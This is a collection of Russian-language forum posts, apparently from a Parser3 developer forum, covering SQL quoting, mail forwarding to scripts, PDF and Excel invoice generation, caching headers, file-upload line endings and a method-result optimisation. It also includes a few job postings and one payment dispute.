"77462","можно и средствами парсера знатно извратиться - перевести файл в base64 и поискать нужные паттерны, например гиф обычно начинается со строки GIF, в base64 будет что-то вроде R0lG.\
\
Вот у себя нашел кусок древнего кода, не работает наверное но принцип где-то такой:\
[code]$img[^image::measure[$v.file]]\
$sAHxStream[^self._base2ahxstream[^v.file.base64[]]]\
^if(^sAHxStream.match[FFD8FFE0....4A46494600][]){\
	$tMatch[^sAHxStream.match[FFC0....(..)^img.height.format[%04X]....(..)][]]\
	^if(!$tMatch && ^sAHxStream.match[FFC2......^img.height.format[%04X]][]){\
		^self._error[^if(def $img.src){'$img.src' - }progressive JPEGs not supported yet]\
	}[/code]"
"77463","да, так показывает, что $mail:received определен.\
вызывается именно эта версия.\
Значит все-таки почтовая система настроена неверно?"
"77464","Да, прием почты UNIX пользователем обычно можно настроить и без администраторов. В домашней директории пользователя создается файл .forward, в котором пишется:\
|/home/user/parser.cgi -m /home/user/script.html\
Если теперь написать на user@server, то по-идее случится то, что вам нужно...\
\
Да, тонкость есть с ^s.save[append;/mail.txt] - / - это текущая директория на момент запуска парсера. Если честно, понятия не имею, что там будет. правильнее писать ^s.save[append;mail.txt] - это будет путь относительно script.html, то есть mail.txt будет в той же директории."
"77465","И там про .forward тоже написано."
"77466","спасибо, попробую.\
\
У меня $request:document-root задан, поэтому пишется в корень сайта.\
\
Кстати  вызов стоит не так\
[b]/home/user/parser.cgi -m /home/user/script.html[/b]\
а так:\
[b]/home/user/parser.cgi /home/user/script.html -m[/b]\
\
Вероятно еще в этом проблема?"
"77467","[quote]Вероятно еще в этом проблема?[/quote]\
\
Сомневаюсь и это легко проверяется в командной строке.\
Скорее дело вкуса, в UNIX принято сначала передавать [OPTION] и за ним [FILE], такой порядок указан например в man ls cat, но в большинстве случаев работает и наоборот (ls . -l)."
"77468","Кстати из командной строки, если ключ -m поставить последним - тоже не работает, а если после parser3.cgi - работает."
"77469","А где вы кстати нашли, что -m надо ставить в конце? :)"
"77470","как-то так само собой получилось ))"
"77473","Да, округление по умолчанию до 6-ти значащих цифр, хоть и является поведением по умолчанию для библиотечных функций C, для реальных применений подходит плохо. Пока пользуйте ^i.format[%.16g], в следующей версии мы с этим разберемся."
"77474","Парсер вложения вкладывает, но письма приходят без вложения. Подозреваю у хостера проблему, только не у верен. Могут ли у хостера резаться вложения?"
"77475","- приведите пример кода отправки письма.\
- каким почтовым клиентом получаете письма?\
- пробовали клиентом сохранить полученное письмо и посмотреть его содержимое?"
"77479","Объясните пожалуйста подробнее какой код в какой файл вставлять..."
"77481","Привет всем, при записи в базу конструкция вида (кусок запроса)\
[code]UPDATE `firm` SET `firm`.`firm_name`=\"ООО ТД \"Фирма\"\"[/code]\
дает ошибку error in your SQL syntax подскажите плиз как можно записать название юр.лица в кавычках в базу? Заранее спасибо за ответ."
"77483","UPDATE `firm` SET `firm`.`firm_name`='ООО ТД \"Фирма\"'\
\
http://dev.mysql.com/doc/refman/5.1/en/string-literals.html"
"77484","Ничего особенного, кстати вариант с одинарными апострофами (по моему так это называется)  то же не работает\
[code]\
$connect_string[$MAIN:connect_string]\
^connect[$connect_string]{^void:sql{\
UPDATE `firm` SET `firm`.`firm_name`='$firm_name',\
`firm`.`firm_legal`='$firm_legal',\
`firm`.`legal_address`=\"$legal_address\", \
`firm`.`fact_address`=\"$fact_address\",\
`firm`.`consignee`=\"$consignee\", \
`firm`.`inn`=\"$inn\",\
`firm`.`kpp`=\"$kpp\",\
`firm`.`rs`=\"$r_s\",\
`firm`.`bik`=\"$bik\",\
`firm`.`bank`=\"$bank\",\
`firm`.`email`=\"$email\",\
`firm`.`pfone`=\"$pfone\",\
`firm`.`city_id`=\"$city_id\",\
`firm`.`group_id`=\"0\"\
WHERE `firm`.`firm_id`=\"$firm_id\" \
}}\
[/code]\
база в кодировке cp-1251, данные в переменные передаются аяксом обрабатываются js-unescape в случае если подразумевается что передается строка\
[code]\
$firm_name[^string:js-unescape[$hash_param.firm_name]]\
[/code]"
"77485","... возможно вы где-нибудь taint[as-is] делаете. :)\
\
Воркэраунд: замените подстановки переменных в запросе на \"^taint[firm_name]\"."
"77487","безотносительно необходимого в вашем случае taint:\
\
в SQL92 string delimiter -- одиночная кавычка, а не двойная.\
т.е. конструкция:\
`firm`.`legal_address`=\"$legal_address\"\
будет работать на меньшем количестве SQL серверов, чем конструкция:\
`firm`.`legal_address`='$legal_address'\
\
к частности, при переносе с MySQL на SQLite, Oracle или при работе через парсерный ODBC драйвер данный код работать перестанет."
"77488","... бэкстики не подходят. :)\
\
Т.е. надо писать \"firm\".\"legal_address\"='$legal_address', но это будет работать в MySQL, только если на сервер включены [url=http://dev.mysql.com/doc/refman/5.5/en/server-sql-mode.html#sqlmode_ansi_quotes]ANSI_QUOTES[/url]. Иными словами, в серверах с кавычками полный мрак."
"77489","По твоей-же ссылке:\
\
[QUOTE]ANSI_QUOTES \
\
Treat “\"” as an identifier quote character (like the “`” quote character) and not as a string quote character. You can still use “`” to quote identifiers with this mode enabled.[/QUOTE]\
\
Да, с кавычками (как и ещё много с чем) бардак, но одинарные кавычки в качестве string delimiters используются в MySQL, SQLite, PgSQL, Oracle, MSSQL.\
В чём смысл использовать вместо них двойные кавычки или mix из одинарных и двойных кавычек, как [URL=/forum/?id=77484]тут[/URL]?"
"77490","... и лучше использовать одинарные. Но запоминать все эти глупости в диалектах sql'я мне надоело — этим должны заниматься ORM'ы или построители запросов."
"77493","Друзья, в начале лета я уже искал здесь программистов. К сожалению, человек, с которым я договорился, пропал, исчез, перестал выходить на связь. А проект висит, сроки были даже не позавчера, а летом.\
\
Итак, задача такая: есть сайт ресторана с каталогом блюд. Админка есть: картинки, тексты и разделы редактируются. Нужно добавить на сайт возможность заказать блюда с доставкой домой. То есть, корзину, историю заказов, какую-то элементарную статистику. Вещи довольно стандартные и несложные, если у вас уже 20 проектов за плечами.\
\
Теперь осложнение задачи. Ресторан использует в работе онлайн-систему для проводки продаж. http://www.iiko.ru/ У них есть какой-то API с какой-то не очень мне понятной документацией. Нужно также, чтобы любые совершенные продажи с сайта синхронизировались (добавлялись, обновлялись, не знаю, как еще сказать) в эту систему. \
\
Пришлите мне, пожалуйста, свои расценки и сроки на hwat@yandex.ru (ну и пару слов о себе, может быть, работы).\
Учитывая, повторюсь, что сделать нужно быстро, а не вечером после работы через месяц."
"77494","Добрый день.\
При загрузке фотографии на сайт (размер фото - 280КБ) в логах пишется сообщение об ошибке:\
GC Warning: Repeated allocation of very large block (appr. size 131072):, referer ...\
\\tMay lead to memory leak and poor performance., referer: ...\
\
картинка на сайт соответственно не добавляется.\
\
Данная ошибка происходит при переносе сайта на новый хостинг. На старом хостинге (NIC.RU) подобных ошибок не возникала.\
\
Очевидно проблема с нехваткой каких-то ресурсов. В какую сторону надо копать? \
\
Версия парсера: Parser/3.4.2 (compiled on i686-pc-linux-gnu)"
"77495","И стоит посмотреть сколько памяти жрет ваш код в целом через http://www.parser.ru/docs/lang/statusmemory.htm"
"77496","Это штатное предупреждение GC, кажется не отключается. Само по себе никак не влияет на работоспособность, может писаться в лог много раз за одно обращение. А почему не работает код - надо смотреть лог парсера и что он выдает браузеру, может действительно ресурсов не хватает, а может и с правами/etc что-то не так."
"77497","в том то и дело, что парсер в лог ничего не пишет.\
а фотки не загружаются.\
что может быть не так с правами?\
что именно надо проверить?"
"77498","Какой ответ получает браузер?\
Что кроме указанного предупреждения пишется в логах веб-сервера?\
А так может быть что угодно, например это: http://www.parser.ru/forum/?id=77407"
"77499","Браузер получает ответ 200, т.е. все ОК.\
MySQL драйвер стоит самой последней версии.\
\
Проблема возникла при переходе с одного хостинга на другой. Отсюдя делаю вывод, что вероятнее всего проблема в настройках сервера.\
Весь вопрос - в каких настройках?"
"77500","Если браузер получает 200, значит скрипт парсера отрабатывает до конца. Значит надо отлаживать его, вставлять вывод отладочной информации (на экран или в файл) и смотреть, что не так. Возможно у вас и версия парсера поменялась, а не только хостинг?"
"77501","Имеем файлик.txt:\
\
Каталожний	Наименование	Диаметр	Длинна	Применяемость	Цена\
GM11111	Simple Gofra	60x110	55	FORD	12\
GM854550	zГофра  60X116  	60	116	AUDI A4 AND UNIVER	12\
\
Загружаем его через ^table::load[]\
\
Потом ^menu его и заносим построчно в базу через ^void:sql{insert...\
\
Так вот: в соответствующее поле для колонки \"Наименование\" заносится следующее:\
\"Simple Gofra\"\
\"z\"\
\
Тоесть напрочь теряются русские символы...\
\
Кодировки везде стоят на cp1251, база в 1251, файл в 1251 response и request тоже в 1251...\
первый раз такое вижу, уже даже не знаю куда еще смотреть...\
\
Что интересно: при выводе запроса занесения просто на экран русские буквы отображаются. И если скопировать этот запрос и руками запустить - то русские буквы заносятся... А вот из файла в таблицу а потом в базу - теряются..."
"77505","Привет всем, пишу учетную систему на парсере с доступом через браузер, возникла необходимость печатать счета, счет-фактуры и накладные. Никто не сталкивался с подобной задачей? Есть какие-то сторонние программы под юникс типа фастрепорт которые можно подружить с парсером и которые будут отдавать в браузер в том или ином виде (например пдф) сгенерированые документы? Заранее спасибо аз ответ."
"77507","Сделано в лоб - HTML-шаблон и печатаю.\
Если надо PDF - печатаешь в PDF делов-то."
"77508","Это конечно не фастрепорт, но гибкость у вас будет намного больше."
"77509","Можно подробнее? Я еще сильно не ковырял этот вариант, но в лоб сразу возникает проблема правильной печати документов которые будут выводиться на двух и более листах... Хотя может я просто чего-то не знаю?"
"77510","Разные браузеры по разному показывают печатный вариант, в итоге 100% соответствия не было.\
Форма без данных http://yaltateplo.com/print/order.html\
Вызов печати сразу http://yaltateplo.com/print/order.html?print=1\
Та еще проблема была не хотел открывать отдельное окно для печати, в принципе нормально работало, но вот opera не хотела так работать. 100% вариант только открыть другое окно и там уже печатать.\
\
Но у вас явно более строгие требования к отчетам. Я все таки смотрел в сторону формирование неких файлов, которые уже будут печататься. Все таки контроль как они будут выглядит будут у вас, а не у браузера."
"77512","1. Рисуем шаблон в Excel-е как Вам нужно.\
2. Сохраняем этот Excel-файл в формате XML\
3. Берем этот XML и вставляем парсером туда переменные. Выдаем пользователю как $response:download (только расширение ставим '.xls').\
\
В итоге получается \"открыть счет в формате Excel\""
"77513","Вариант с экселем на текущий момент пока самый оптимальный. По крайней мере этот вариант решает проблему разного отображения в разных браузерах. Если бы можно было отдавать этот файл на сервере какому-нибудь скрипту который бы делал из него пдф либо картинку и показывал в окошке браузера откуда бы это можно было напечатать то было бы вообще замечательно..."
"77517","Вы ему даете вот это http://xmlgraphics.apache.org/fop/index.xml\
А он вам вот это http://xmlgraphics.apache.org/fop/index.pdf"
"77519","Сайты конференций:\
— http://events.yandex.ru/events/yac/2012/\
— http://techforum.mail.ru/\
\
Компанией, обычно, ходить интереснее. :)"
"77523","не понятно, как этот человек еще работает, но факт:\
\
с января 2012 он должен мне 25000 руб.\
\
Не понимает ничего ни в верстке, ни в программировании.\
Тем не менее сует свой нос везде: ты не так сверстал, ты не так написал...\
Берет на \"друга\"...\
За простые задания (типа заменить background у тега BODY) переводит тут же 150-200 рублей.\
\
Как сумма оплаченной работы вырастет до 800-1000 предлагает новый сайт, и после его выполнения пропадает...\
Через месяц появляется, говорит что болел, лежал при смерти... и готов работать дальше, и даже с предоплатой.\
НО! \"Деньги будут сразу, как только заказчик заплатит\". И \"Меня кинули, и даже в суд подали, потому что ты все не так сделал\"\
\
Не буду выкладывать ссылки на его профиль на free-lance.ru (кстати, у него их несколько, и практически везде преобладают отзывы со знаком минус)"
"77525","Ищем программиста на Parser для установки Sape , а еще лучше если кто объяснит что и куда ставить по этому описанию \
http://www.parser.ru/forum/?id=64402"
"77526","http://ne-ne-ne.ru/it/sape-parser-code.html"
"77527","Простите, но вы меня явно с кем-то перепутали.\
Я с 2004, если не ошибаюсь, года, общаюсь здесь на форуме, постоянно делаю проекты и работаю с людьми. Я никогда в жизни не переводил по 200 рублей, не пропадал и уж тем более не должен никому денег."
"77528","Не умеют браузеры корректно рендерить многостраничные документы."
"77529","Согласен, но увы Apache FOP отпал, на хостинге его нет, и возможности установить его тоже нет..."
"77530","Ищу программиста для проекта http://adsexplorer.net (парсин объявлений с auto.ru, slando.ru и пр.)\
\
Требуется разработка личного кабинета рассылки смс."
"77531","opeg:-)уа.ru"
"77532","Вот еще штука http://www.stimulsoft.com/ru/products/reports-fx-php\
НА пхп можно не обращать внимание, в клиента во флешь идет xml+xsd.\
Я думаю можно договориться и купить у них только флешь морду + доки как туда и что формировать ))"
"77533","Есть несколько вакансий для веб-разработчиков на Parser на полный день в офис крупной транспортной компании с нехилой IT-службой и уймой интересных и сложных задач.\
\
Возраст от 23 лет.\
Опыт веб-разработки от 5 лет.\
\
Необходимо хорошее владение Parser3, MySQL, HTML/XHTML/CSS. Желательно знание jQuery, XSLT. Порадует опыт работы с Adobe Air, Django, Symphony, мобильными ОС, интеграции с 1С.\
\
Важно уметь работать с архитектурой БД.\
\
Оплата от 80k.\
\
Отклики и вопросы направлять j-walker на inbox.ru"
"77534","Да просто так. Хочу через ^if варьировать размер шрифта в блоке в зависимости от содержимого."
"77538","Создал парсером json на одном сервере,\
\
теперь пытаюсь его получить на другом и распарсить \
Использую ^file::load\
\
Итог:\
'parse' invalid char at byte 0 [json.parse] \
\
Кодировка utf-8, $response:content-type[application/json^; charset=utf-8] стоит."
"77540","после этого идет\
\
$hash[^json:parse[$file.text; \
   $.double(false) \
] \
]"
"77541","сам json правильный т.к. если вставить есго вручную в для парсинга - все ок"
"77542","$hash[^json:parse[^taint[as-is][$file.text]; $.double(false) ] ]"
"77543","Если я хочу вывести имена файлов из десяти файловых инпутов, то правильно ли будет ставить фигурные скобки (выделены жирным), чтобы парсер понял правильно?\
[code]^for[i](0;9){\
   $[b]{[/b]form:image$i[b]}[/b].name\
}[/code]"
"77544","Или обратить внимание, что есть [url=http://www.parser.ru/docs/lang/formfiles.htm]form:files[/url] и не делать 10 разных имен для инпута."
"77545","Попробую использовать [url=\"http://www.fpdf.org/\"]FPDF[/url] или [url=\"http://www.tcpdf.org/index.php\"]TCPDF[/url] правда параллельно придется изучить PHP..."
"77546","Привет всем. Сайт на парсере, возникла необходимость печати документов с сайта. Нужна помощь в изготовлении шаблонов печатных форм документов типа счета, счета-фактуры, накладные и т.д.. Шаблоны нужны для генерации pdf-файлов библиотеками fpdf или tcpdf. Увы на php никогда ничего не писал, а сделать надо оперативно... Само собой за небольшое вознаграждение (какое?). Заранее спасибо всем откликнувшимся..."
"77547","wkhtmltopdf - не смотрели? Мы кое-где пользуемся..."
"77548","Я так понимаю что она требует каких то дополнительных библиотек и компиляции на сервере? Если то боюсь увы никто не даст ставить что-то свое на шаред-хостинге..."
"77549","Правда не знаю, насколько бесплатные. Мы, чтобы не возиться, тоже себе\
на отдельный домен его поставили и получается с любого сайта им можно пользоваться. Опять же разработчики раздают статически собранные версии. По-идее, как и парсер - скопируй и запускай. http://code.google.com/p/wkhtmltopdf/downloads/list"
"77550","Но во всех этих решениях по моему есть одна большая проблема - правильный разрыв страницы для таких документов как счет-фактура и накладная, когда при определенном количестве строк на странице надо переходить на другой лист, печатать там шапку и т.д.. Может я конечно дуб и эта проблема выеденного яйца не стоит и тупо решается средствами css? Но ИМХО тут где-то должны валяться грабли..."
"77551","[quote]решается средствами css[/quote]\
\
Судя по всему, вполне решается. :)\
\
http://yandex.ru/yandsearch?text=wkhtmltopdf+page+break&lr=213"
"77552","Почему не работает код ?\
как посчитать сумму ?\
[code]^eval(^memories.menu{^memories.CAPACITY.int[]}[+])[/code]\
\
2048+0+2048+0\
\
invalid number (double)"
"77553","[code]\
$iSum(0)\
^memories.menu{^iSum.inc(^memories.CAPACITY.int[])}\
[/code]"
"77555","В документации в примерах применяется простая конструкция методов:\
[code]^method[a;b;n][/code]\
А в некоторых пользовательских классах видел, что используются и такие:\
[code]^method[a;b;n][b][x][/b][/code]\
Хоть это и глупый вопрос наверное, но как использовать часть конструкции, выделенную жирным?\
Раньше я думал, что там хранится переменная результата, но в документации про это ничего не смог найти."
"77556","Вместо точки запятой можно использовать скобки, часто это бывает удобно, если в последнем параметре передается хеш:\
[code]\
# Следуюшие вызовы равнозначны\
   ^method[a;b;c;d]\
   ^method[a][b][c][d]\
   ^method[a;b][c;d]\
\
# Передаем хеш\
   ^method[a;b;c][\
     $.param1[value1]\
     $.param2[value2]\
   ]\
[/code]\
\
Квадратные скобки, на мой взгляд, имеет смысл писать только если это улучшает читаемость конкретного вызова метода. \
\
Но есть более интересные случаи, когда без комбинации скобок не обойтись. Это отлично можно проиллюстрировать на примере оператора (метода) for:\
[code]\
# Интерфейс метода for можно описать на Парсере так\
@for[varname;from;to;code;separator]\
\
# А при вызове мы используем разные скобки, чтобы указать \
# Парсеру как использовать каждый из параметров\
  ^for[i](1;10){code $i}[separator]\
[/code]\
\
В данном случае скобки не только улучшают читаемость конструкции, но и позволяют реализовать правильную логику работы цикла. Если бы мы использовали квадратные скобки, то получили бы совсем не тот результат на который рассчитывали. :)"
"77557","Не могли бы вы запостить это в коммент здесь, чтобы и другим было проще понять? :)\
http://www.parser.ru/docs/lang/definemethod.htm\
\
P.s.: [code]^for[i](1;10){[b]code[/b] $i}[[b]separator[/b]][/code] А где доллары? Они не нужны в данном случае?"
"77559","http://pdfkit.org/ — достаточно мощная бибилиотека. Можно на Парсере генерировать код на CofeeScript и выполнять его через node.js. Интересно это тем, что уговорить хостера поставить Node.js + npm на сервер должно быть проще — модные нынче технологии. А сам pdfkit поставить через npm локально для своего юзера."
"77560","[url=\"http://www.parser.ru/examples/cache/\"]http://www.parser.ru/examples/cache/[/url]\
\
Не смог разобраться, как выставлять свои заголовки использую класс?\
\
[code]\
$headers[^table::create{name\
Cache-Control[public,max-age=3600]\
}]\
\
$oCachePage[^CachePage::create[\
	$.sCacheDir[$CACHE_DIR/_pages]\
	$.headers[$headers]\
]]\
[/code]"
"77564","Таким образом у меня получается в заголовке и то, что мной задано и другое значение.\
\
Пишу:\
[code]$response:Cache-Control[public,max-age=3600]\
$response:Expires[Thu, 04 Oct 2012 18:51:46 GMT][/code]\
\
Результат:\
[code]Cache-Control	public,max-age=3600, max-age=0\
Expires	Thu, 04 Oct 2012 18:51:46 GMT, Thu, 04 Oct 2012 17:51:46 GMT[/code]"
"77565","Страница кэшируется в том виде, в котором отдаётся.\
Выдайте нужный заголовок в response и он закэшируется."
"77566","Следующий код я привел как одну из попыток добиться того, что нужно \
[code]\
$headers[^table::create{name\
Cache-Control[public,max-age=3600]\
}]\
\
$oCachePage[^CachePage::create[\
	$.sCacheDir[$CACHE_DIR/_pages]\
	$.headers[$headers]\
]][/code]\
\
Изначально я так не пытался переопределить заголовки, писал просто $response  и кеширование кодом\
[code]$oCachePage[^CachePage::create[\
	$.sCacheDir[$CACHE_DIR/_pages]\
]][/code]\
но все равно получал [url=\"http://www.parser.ru/forum/?id=77564\"]такой \"двойной\" результат[/url]."
"77567","[code]@auto[]\
$tHeaderDefault[^table::create{name\
charset\
content-type\
last-modified\
expires\
location\
refresh\
status\
pragma\
cache-control\
}][/code]\
\
Expires и сache-control уже учитываются.\
\
Что даёт такой код?\
[code]\
$oCachePage[^CachePage::create[\
	$.sCacheDir[$CACHE_DIR/_pages]\
]]\
\
$response:[сache-сontrol][public,max-age=3600]\
$response:expires[Thu, 04 Oct 2012 18:51:46 GMT]\
\
^oCachePage.run[$sKey]($iTime){\
	…\
}[/code]"
"77568","было:\
[code]\
ваш код\
$response:content-type[...]\
ваш код\
[/code]\
\
стало:\
[code]\
$oCachePage[^CachePage::create[...]]\
^oCachePage.run[$sKey]($iTime){\
	ваш код\
	$response:content-type[...]\
	ваш код\
}\
[/code]\
\
P.S. параметром $.headers можно определить те заголовки, которые вы хотите кэшировать (если вас почему-то не устраивает default). значения туда выдавать не надо."
"77569","Спасибо! С этим стало понятнее. Я догадался проверить все локально, и локально все как нужно. Т.е. может быть проблема в том, что вторые значения выдает сервер (apache)? В htaccess я описываю правила для кеширования сопутствующих файлов, но не пишу ничего про html.\
\
[code]ExpiresActive on\
ExpiresByType image/x-icon \"access plus 1 day\"\
ExpiresByType image/jpeg \"access plus 1 day\"\
ExpiresByType image/gif \"access plus 1 day\"\
ExpiresByType image/png \"access plus 1 day\"\
ExpiresByType text/x-component \"access plus 1 day\"\
ExpiresByType text/css \"access plus 5 hours\"\
ExpiresByType application/javascript \"access plus 5 hours\"\
ExpiresByType application/x-javascript \"access plus 5 hours\"[/code]\
\
Если это так, то как решить проблему, если оставить ExpiresActive on (чтобы обсуждаемые заголовки выдавать динамически в зависимости от потребностей)? А если ExpiresActive off, как и где писать правила для кеширования других типов файлов? Или может быть я вообще не туда думаю?"
"77570","[code]^eval(3422552065\\16777216) и ^eval(3422552065/16777216)[/code]\
выведет\
[code]-128 и 204[/code]\
Версия парсера 3.4.2 (compiled on i686-pc-linux-gnu)"
"77571","Есть форма с полем input type=\"file\", в которое закачивается файл из одного столбца со значениями.\
После отправки формы создаю таблицу на основании содержимого файла:\
$tData[^table::create{field_id\
^taint[as-is][$form:file.text]}]\
\
На версии 3.4.1 все работало нормально, а на версии 3.4.2 после каждого значения в столбце появился пробел или подобный ему символ.\
\
Поэкспериментировал с загрузкой файла напрямую, без формы:\
$fFile[^file::load[binary;1.csv]]\
$fFile[^file::load[text;1.csv]]\
После загрузки файла также создавал таблицу, как описано ранее.\
В случае binary получил такой же результат, как и при отправке из формы.\
В случае с text получил результат , аналогичный 3.4.1 с отправкой из формы.\
\
Получается, что из-за добавления в 3.4.2 некоторых возможностей работы с binary содержимое файла из формы приходит по умолчанию в binary, а не text.\
\
Есть какие-нибудь параметры для $form:file, чтобы явно указать, что формат файла text, а не binary?"
"77572","[code]# собственно формируем ключ кеширования: полный путь + закриптованная query\
$sKey[$tPart.0^if(def $sQuery){^math:md5[$sQuery]}][/code]\
\
у меня эта строка приводит к ошибке\
\
[code]classes/CachePage.p(51:10): '/home/../cache/_pages/' cache_put failed\
classes/CachePage.p(51:10): '/home/../cache/_pages//somepage/' cache_put failed[/code]\
\
Как все-таки это правильно использовать, чтобы кеш можно было сохранять \"по адресу\"?"
"77573","... поэтому оно рассматривается Парсером как double и целочисленное деление к нему применять не стоит. Т.е. надо делить обычным образом и округлять по тому алгоритму, который больше подходит в конкретном случае. :)"
"77574","Парсер ничего не знает о фале из формы и выполнять неявную нормализацию строк не должен. Для того чтобы выполнить нормализацию концов строк для создания таблицы можно воспользоваться конструктором класса file:\
\
[code]\
  $f[^file::create[$form:file;$.mode[text]]\
  $t[^table::create{field_id\
  ^taint[as-is][$f.text]}]\
[/code]"
"77575","в общем я в итоге так и делю... \
Про то, что из диапазона вышел, я сразу понял, просто считал, что это должно одинаково работать с ^math:floor($x/$y)"
"77576","... то операнды для целочисленного деления должны быть целыми числами. Если я не прав, то Миша или Моко поправят. :)"
"77577","баг :)\
у меня не проявлялся, т.к. из-за rewrite-ов всегда есть query.\
[code]\
^if(def $sQuery){^math:md5[$sQuery]}\
[/code]\
=>\
[code]\
/^if(def $sQuery){^math:md5[$sQuery]}{index}\
[/code]"
"77578","Таким путем я уже решил проблему.:)\
\
Интересовала именно возможность получать текст файла из $form:file без дополнительных преобразований, например, использованием какого-нибудь метода или параметра внутри $form:.\
\
Как я понял, такой возможности нет.\
Спасибо за ответ."
"77579","... но при конструирования таблицы из кода разделителем строк должен быть символ #0A, а у вас таблица с виндовыми концами строк (#0D#0A), которые и добавили «лишний символ» в строки таблицы. Использование «копирующего конструктора» нормально решение."
"77580","[quote]Получается, что из-за добавления в 3.4.2 некоторых возможностей работы с binary содержимое файла из формы приходит по умолчанию в binary, а не text.[/quote]\
\
Не совсем так. Файлы и приходили в binary. Но теперь при обращению к полю .text у бинарных файлов теперь не происходит нормализации переводов строк. Про это написано в частном случае в новостях, на самом деле это более общее правило, внесем этот момент в документацию.\
\
Из новостей:\
\
[quote]\
При выполнении конструктора ^file::create[text;...;содержимое] выполняется нормализация переводов строк в «содержимом». При создании файлов binary нормализация не делается.[/quote]"
"77581","[quote]Или может быть я вообще не туда думаю?[/quote]\
\
ModExpires отвечает за статику, отдаваемую сервером.\
В вашем случае указаны конкретные типы и значения заголовков для них.\
\
На генерируемый Парсером результат оно не влияет, тут вы отдаёте и обрабатываете кэширующие заголовки самостоятельно."
"77582","Но вот минус выдавать неправильно, надо выдавать исключение о переполнении, недосмотр..."
"77583","Чтобы метод не удалял папку файла, если она окажется пустой.\
Пока что в качестве решения приходится класть пустые файлы index.html в нужные папки."
"77584","Или подумайте а так ли уж нужны пустые папки на сервере?"
"77585","например для nconvert или ffmpeg...\
У меня существуют методы, типа [code]^self.prepare[$desctFile][/code] которые проверяют, есть ли такая директория, и если нет - создают ее, но не просто директорию, а примерно так:\
[code]$s[ ]\
^s.save[^file:dirname[$desctFile]/empty][/code]"
"77586","Если, к примеру, я делаю файловый менеджер, то нужно, чтобы файлы удалялись отдельно и папки отдельно. Чтобы логика была как в Проводнике Windows."
"77588","Так что вероятно сделаем. Сложнее всего будет определиться с форматом вызова. Например: \
\
^file:delete[file.name; $.allow-empty(true)]\
^file:delete[file.name](true)\
^file:delete-file[file.name]\
^file:delete[ $.name[file.name] $.allow-empty(true) ]\
\
Ну и вместо allow-empty можно предложить с десяток вариантов. :)"
"77589","имхо\
\
[code]^file:delete[file.name; $.empty(true)][/code]\
\
или\
\
[code]^file:delete[file.name](true)[/code]\
\
и для полного фен-шуя ^dir:create[] :)"
"77590","^file:delete[имя файла;опции удаления{хэш}]"
"77591","Почему-то вылетает с ошибкой \"is 'table', it has no string representation\" с указанием на строку, выделенную жирным. Что не так?\
\
[code]^connect[$connect-string]{\
   $tGetPhones[^table::sql{SELECT phone\
      FROM addressdb\
      WHERE phone IS NOT NULL\
      AND pub=1\
   }]\
}\
\
^if($tGetPhones){\
   [b]$tTable[^table::create[nameless]{[/b]\
^tGetPhones.menu{$tGetPhones.phone	$text ($host, заявка №$order)}[\
]\
}]\
   ^tTable.save[/file.txt]\
}[/code]\
\
Вроде все элементарно должно быть в этом случае..."
"77592","Лирическое отступление. В какой то день пришла сотрудница и сказала что в таблице договоров, которые она вносит в базу у всех договоров, в том числе ранее введенных, одновременно пропали все даты. Это было странно, потому что код не трогался, на сервере проблем не наблюдалось, а сама программка работала давно и успешно. Полез ковыряться...\
\
Проблема обнаружилась вот в таком методе (сильно упрощен), который печатает дату:\
\
[code]@print_date[d]\
\
^if(!($d is date)){\
	^try{\
		$d[^date::create[$d]]\
	}{\
		$exception.handled(1)\
	}\
}\
^if($d is date){\
	$result[${d.day}.${d.month}.${d.year}]\
}[/code]\
\
На самый первый взгляд ничего в нем такого криминального вроде не нашлось, но тем не менее именно он почему то даты перестал печатать, все. Пока я искал, девушка внесла еще один договор, и все даты появились назад :)\
\
Немного потестив я понял, что если оператор вызвать первый раз передав ей неверную дату, например '0000-00-00', то все последующие вызовы этого оператора, даже если передать нормальную дату ничего не вернут, иными словами\
\
[code]\
$d1[0000-00-00]\
$d2[2012-10-10]\
$d3[2012-10-12]\
\
^print_date[$d1]\
^print_date[$d2]\
^print_date[$d3]\
--> пусто\
\
^print_date[$d3]\
^print_date[$d1]\
^print_date[$d2]\
--> 12.10.2012 10.10.2012\
[/code]\
\
Быстро стало понятно что дело в этом:\
\
[quote]Каждый метод должен будет или возвращать результат через $result во всех вариантах своего выполнения или не использовать $result вовсе. Внимание, это несовместимое с предыдущей версией изменение и вам необходимо исправить ваш код.[/quote]\
\
И стало грустно.\
\
1. это несовместимое изменение совершенно не отражено в документации, там слишком простые примеры\
2. нужно хорошо понимать принцип работы парсера, чтобы видеть в вышеприведенном методе наличие второй, неявной ветви\
3. это изменение, если не пересмотреть весь код (включая чужой, и которого может быть очень много) является бомбой замедленного действия,  т.к. несмотря на то что каждый метод должен (обязан!) возращать результат - никакого эксепшена не случается. Работать такой метод будет \"почти всегда\"\
4. пересмотреть весь код, включая написанный другими людьми, когда это было можно - это очень непростая задача, каким-то универсальным простым решением тут не отделаешься. Например в данном методе можно просто объявить $result[] вначале, но это нельзя сделать в общем случае, т.к. в методе может вовсе не быть $result и это порушит его работу.\
\
Мне кажется с этим надо что-то сделать, в идеале падать с ошибкой, если result не определен для всех ветвей. Ну и в доку добавить, кто читает новости, кроме десятка старожилов?\
\
Версия 3.4.2"
"77594","Что же касается диагностики ошибок, с этим сложнее. :(\
\
Немного о самой оптимизации. Она весьма эффективна, даже в среднем ее выигрыш виден, а уж в коде, где много действий, эффект часто меряется десятками процентов. Да, самому можно собрать парсер без этой оптимизации.\
\
Суть в том, что при первом запуске метода запоминается, использует метод $result или нет, и далее при последующих вызовах:\
- в случае, когда $result не используется, весь вывод метода напрямую добавляется к выводу вызывающего метода.\
- в случае, когда $result используется, весь вывод метода вообще игнорируется. А любой перенос строки, пробел между операторами - это тоже вывод.\
\
Ну и теперь по диагностике. В первом случае можно проверять наличие $result и выдавать исключение, если что-то присваивали. Но это лишнее \"подглядывание\" в хеш локальных переменных, то есть трата времени (но в среднем наверное меньше процента).\
\
Во втором случае тоже можно проверять определенность $result, в этом к переменной уже есть обращение, так что здесь выдача исключения будет дешевой операцией. Но здесь-то как раз то, что возращается пустая строка всех устраивает - мало кто пишет код ^if($a){ yes }{ $result[no] }, и поэтому было решено не выдавать исключение.\
\
Опять же, если не бросать исключение во втором случае, то странно бросать его в первом. А не бросать нельзя, поскольку просто вернуть $result уже нельзя, вывод метода уже добавлен к родителю...\
\
Идеальный вариант - детектировать обращение к $result на этапе компиляции. Это автоматом решит все проблемы, но надо сделать это эффективно, минимально заметив компиляцию кода. Внесу это в to-do, чтобы не забылось снова."
"77595","Рискну предположить, что [code]$text, $host или $order[/code] содержат таблицу. Покажи всю строку из лога"
